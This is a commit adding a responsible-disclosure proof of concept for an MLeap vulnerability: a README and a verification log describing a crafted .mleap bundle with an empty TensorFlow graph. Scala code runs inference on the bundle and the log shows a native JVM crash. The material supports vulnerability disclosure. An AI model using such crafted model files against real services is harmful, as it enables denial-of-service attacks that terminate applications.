testamentaria commited on
Commit
a180a74
·
verified ·
1 Parent(s): e5ef96b

Upload 3 files

Browse files
Files changed (3) hide show
  1. README.md +61 -0
  2. tf_crash_poc.zip +3 -0
  3. verification-log.txt +89 -0
README.md ADDED
@@ -0,0 +1,61 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ---
2
+ license: mit
3
+ tags:
4
+ - security
5
+ - proof-of-concept
6
+ - mleap
7
+ - denial-of-service
8
+ ---
9
+
10
+ # MLeap TensorFlow `GraphDef` native-crash PoC
11
+
12
+ This repository contains a proof-of-concept malicious `.mleap` file for a responsibly-disclosed
13
+ vulnerability in [`combust/mleap`](https://github.com/combust/mleap) (tested at commit
14
+ `88de54dd4fb7720c7c56ff5c2b51cdec4353a128`), reported via huntr's Model File Vulnerability
15
+ program.
16
+
17
+ ## What this file is
18
+
19
+ `tf_crash_poc.zip` is a syntactically valid, standard-format `.mleap` bundle (built with MLeap's
20
+ own `BundleWriter`, not hand-crafted) containing a single root `tensorflow` node whose embedded
21
+ `graph.pb` is **0 bytes** — a syntactically valid, trivially empty TensorFlow `GraphDef` protobuf
22
+ message — and which declares **zero** input/output tensors and no target nodes.
23
+
24
+ ## What happens when you load it
25
+
26
+ ```scala
27
+ import ml.combust.bundle.BundleFile
28
+ import ml.combust.mleap.runtime.MleapSupport._
29
+ import ml.combust.mleap.runtime.MleapContext.defaultContext
30
+ import ml.combust.mleap.runtime.frame.DefaultLeapFrame
31
+ import ml.combust.mleap.core.types.StructType
32
+
33
+ val bundle = BundleFile(new java.io.File("tf_crash_poc.zip")).loadMleapBundle().get
34
+ val transformer = bundle.root
35
+ val emptyFrame = DefaultLeapFrame(StructType(Seq()).get, Seq(ml.combust.mleap.runtime.frame.Row()))
36
+ transformer.transform(emptyFrame) // <-- crashes the JVM here
37
+ ```
38
+
39
+ Loading the bundle succeeds without error (MLeap performs no validation of the embedded graph
40
+ bytes at load time). Running inference on it — the ordinary, expected way to use a loaded MLeap
41
+ pipeline — triggers a **native access violation** inside TensorFlow's own C API:
42
+
43
+ ```
44
+ # A fatal error has been detected by the Java Runtime Environment:
45
+ # EXCEPTION_ACCESS_VIOLATION (0xc0000005) at pc=0x00007ffc6f92f3f7, ...
46
+ # The crash happened outside the Java Virtual Machine in native code.
47
+ ```
48
+
49
+ with the fault located precisely in `TF_GraphImportGraphDef`, called from
50
+ `ml.combust.mleap.tensorflow.TensorflowModel.getSessionFromFrozenGraph()`. See
51
+ `verification-log.txt` in this repository for the full, unmodified crash output and stack trace
52
+ from the reporter's own reproduction, and the reporter's full write-up submitted via huntr for the
53
+ complete technical analysis.
54
+
55
+ This is **not** a catchable Java exception — no `try`/`catch(Throwable)` at any level of a calling
56
+ application can prevent the JVM process from terminating.
57
+
58
+ ## Scope note
59
+
60
+ This PoC is provided solely for the purpose of responsible vulnerability disclosure and
61
+ reproduction by the `mleap` maintainers / huntr triage team. It is not intended for any other use.
tf_crash_poc.zip ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:9e9091f560c036c87a5e1381d49983259ced8d4c79659c78b5d43bbe17f40bed
3
+ size 1318
verification-log.txt ADDED
@@ -0,0 +1,89 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ WARNING: A terminally deprecated method in sun.misc.Unsafe has been called
2
+ WARNING: sun.misc.Unsafe::objectFieldOffset has been called by scala.runtime.LazyVals$ (file:/C:/Users/user/Documents/Framework%20IA/framework-ia/targets/mleap/verify/tools/sbt/bin/sbt-launch.jar)
3
+ WARNING: Please consider reporting this to the maintainers of class scala.runtime.LazyVals$
4
+ WARNING: sun.misc.Unsafe::objectFieldOffset will be removed in a future release
5
+ WARNING: A terminally deprecated method in sun.misc.Unsafe has been called
6
+ WARNING: sun.misc.Unsafe::objectFieldOffset has been called by scala.runtime.LazyVals$ (file:/C:/Users/user/Documents/Framework%20IA/framework-ia/targets/mleap/verify/tools/sbt/bin/sbt-launch.jar)
7
+ WARNING: Please consider reporting this to the maintainers of class scala.runtime.LazyVals$
8
+ WARNING: sun.misc.Unsafe::objectFieldOffset will be removed in a future release
9
+ WARNING: A restricted method in java.lang.System has been called
10
+ WARNING: java.lang.System::load has been called by com.sun.jna.Native in an unnamed module (file:/C:/Users/user/.sbt/boot/scala-2.12.21/org.scala-sbt/sbt/1.12.5/jna-5.12.0.jar)
11
+ WARNING: Use --enable-native-access=ALL-UNNAMED to avoid a warning for callers in this module
12
+ WARNING: Restricted methods will be blocked in a future release unless native access is enabled
13
+
14
+ [info] welcome to sbt 1.12.5 (Oracle Corporation Java 24.0.1)
15
+ [info] loading settings for project repo-build from plugins.sbt...
16
+ [info] loading project definition from C:\Users\user\Documents\Framework IA\framework-ia\targets\mleap\repo\project
17
+ [info] loading settings for project mleap from build.sbt...
18
+ [info] loading settings for project mleap-base from build.sbt...
19
+ [info] loading settings for project bundle-ml from build.sbt...
20
+ [info] loading settings for project bundle-hdfs from build.sbt...
21
+ [info] loading settings for project mleap-tensor from build.sbt...
22
+ [info] loading settings for project mleap-core from build.sbt...
23
+ [info] loading settings for project mleap-runtime from build.sbt...
24
+ [info] loading settings for project mleap-avro from build.sbt...
25
+ [info] loading settings for project mleap-spark-base from build.sbt...
26
+ [info] loading settings for project mleap-spark-testkit from build.sbt...
27
+ [info] loading settings for project mleap-spark from build.sbt...
28
+ [info] loading settings for project mleap-spark-extension from build.sbt...
29
+ [info] loading settings for project mleap-tensorflow from build.sbt...
30
+ [info] loading settings for project mleap-xgboost-runtime from build.sbt...
31
+ [info] loading settings for project mleap-xgboost-spark from build.sbt...
32
+ [info] loading settings for project mleap-serving from build.sbt...
33
+ [info] loading settings for project mleap-executor from build.sbt...
34
+ [info] loading settings for project mleap-executor-testkit from build.sbt...
35
+ [info] loading settings for project mleap-executor-tests from build.sbt...
36
+ [info] loading settings for project mleap-repository-s3 from build.sbt...
37
+ [info] loading settings for project mleap-grpc from build.sbt...
38
+ [info] loading settings for project mleap-grpc-server from build.sbt...
39
+ [info] loading settings for project mleap-benchmark from build.sbt...
40
+ [info] loading settings for project mleap-spring-boot from build.sbt...
41
+ [info] loading settings for project mleap-databricks-runtime-fat from build.sbt...
42
+ [info] loading settings for project mleap-databricks-runtime from build.sbt...
43
+ [info] loading settings for project mleap-databricks-runtime-testkit from build.sbt...
44
+ [info] resolving key references (31183 settings) ...
45
+ [info] set current project to mleap (in build file:/C:/Users/user/Documents/Framework%20IA/framework-ia/targets/mleap/repo/)
46
+ [info] Installing the s3:// URLStreamHandler via java.net.URL.setURLStreamHandlerFactory
47
+ [info] Creating a new Ivy URLHandlerDispatcher to handle s3:// URLs
48
+ Warning: Tried to extract the base path for relative glob bundle-protobuf\bundle\**\*. To disable this warning, re-run the program with java option, -Dsbt.io.implicit.relative.glob.conversion=allow
49
+ Warning: Tried to extract the base path for relative glob bundle-protobuf\bundle\**\*. To disable this warning, re-run the program with java option, -Dsbt.io.implicit.relative.glob.conversion=allow
50
+ Warning: Tried to extract the base path for relative glob bundle-protobuf\bundle\**\*.{java,scala}. To disable this warning, re-run the program with java option, -Dsbt.io.implicit.relative.glob.conversion=allow
51
+ Warning: Tried to extract the base path for relative glob bundle-protobuf\bundle\**\*.{java,scala}. To disable this warning, re-run the program with java option, -Dsbt.io.implicit.relative.glob.conversion=allow
52
+ [info] Starting scala interpreter...
53
+ Welcome to Scala 2.13.18 (Java HotSpot(TM) 64-Bit Server VM, Java 24.0.1).
54
+ Type in expressions for evaluation. Or try :help.
55
+ [?2004h>....import ml.combust.bundle.BundleFile
56
+ [?2004h>....import ml.combust.mleap.runtime.MleapSupport._
57
+ [?2004h>....import ml.combust.mleap.runtime.MleapContext.defaultContext
58
+ [?2004h>....import ml.combust.mleap.runtime.frame.{DefaultLeapFrame, Row}
59
+ [?2004h>....import ml.combust.mleap.core.types.StructType
60
+ [?2004h>....import java.io.File
61
+ [?2004h>....[?2004h>....[?2004h>....[?2004h>....[?2004h>....[?2004h>....[?2004h>....[?2004h>....[?2004h>....val bundleFile: java.io.File = C:\Users\user\Documents\Framework IA\framework-ia\targets\mleap\verify\poc\tf_crash_poc.zip
62
+ [?2004h>....Loading real .mleap ZIP file via standard public API: C:\Users\user\Documents\Framework IA\framework-ia\targets\mleap\verify\poc\tf_crash_poc.zip
63
+ [?2004h>....val loaded: ml.combust.bundle.dsl.Bundle[ml.combust.mleap.runtime.frame.Transformer] = Bundle(BundleInfo(fd2ca13f-368c-4ad5-81ea-2c4eee3e03e2,tensorflow_715d88c7-a72a-41f0-8b0f-8c091e3285e6,json,0.25.2,2026-07-23T10:56:35.229226700,None),TensorflowTransformer(tensorflow_715d88c7-a72a-41f0-8b0f-8c091e3285e6,NodeShape(ListMap(),ListMap()),TensorflowModel(None,None,List(),List(),None,Some(graph),[B@20432533)))
64
+ [?2004h>....val transformer: ml.combust.mleap.runtime.frame.Transformer = TensorflowTransformer(tensorflow_715d88c7-a72a-41f0-8b0f-8c091e3285e6,NodeShape(ListMap(),ListMap()),TensorflowModel(None,None,List(),List(),None,Some(graph),[B@20432533))
65
+ [?2004h>....Loaded transformer: TensorflowTransformer(tensorflow_715d88c7-a72a-41f0-8b0f-8c091e3285e6,NodeShape(ListMap(),ListMap()),TensorflowModel(None,None,List(),List(),None,Some(graph),[B@20432533))
66
+ [?2004h>....[?2004h>....val emptyFrame: ml.combust.mleap.runtime.frame.DefaultLeapFrame = DefaultLeapFrame(StructType(List(),Map(),Map()),List(Row()))
67
+ [?2004h>....Calling transformer.transform(emptyFrame) -- this is the normal MLeap inference API, should trigger the native crash...
68
+ [?2004h>....2026-07-23 10:57:29.235809: I tensorflow/core/util/port.cc:113] oneDNN custom operations are on. You may see slightly different numerical results due to floating-point round-off errors from different computation orders. To turn them off, set the environment variable `TF_ENABLE_ONEDNN_OPTS=0`.
69
+ #
70
+ # A fatal error has been detected by the Java Runtime Environment:
71
+ #
72
+ # EXCEPTION_ACCESS_VIOLATION (0xc0000005) at pc=0x00007ffc6f92f3f7, pid=56348, tid=58816
73
+ #
74
+ # JRE version: Java(TM) SE Runtime Environment (24.0.1+9) (build 24.0.1+9-30)
75
+ # Java VM: Java HotSpot(TM) 64-Bit Server VM (24.0.1+9-30, mixed mode, sharing, tiered, compressed oops, compressed class ptrs, g1 gc, windows-amd64)
76
+ # Problematic frame:
77
+ # C 0x00007ffc6f92f3f7
78
+ #
79
+ # No core dump will be written. Minidumps are not enabled by default on client versions of Windows
80
+ #
81
+ # An error report file with more information is saved as:
82
+ # C:\Users\user\Documents\Framework IA\framework-ia\targets\mleap\repo\hs_err_pid56348.log
83
+ [36.798s][warning][os] Loading hsdis library failed
84
+ #
85
+ # If you would like to submit a bug report, please visit:
86
+ # https://bugreport.java.com/bugreport/crash.jsp
87
+ # The crash happened outside the Java Virtual Machine in native code.
88
+ # See problematic frame for where to report the bug.
89
+ #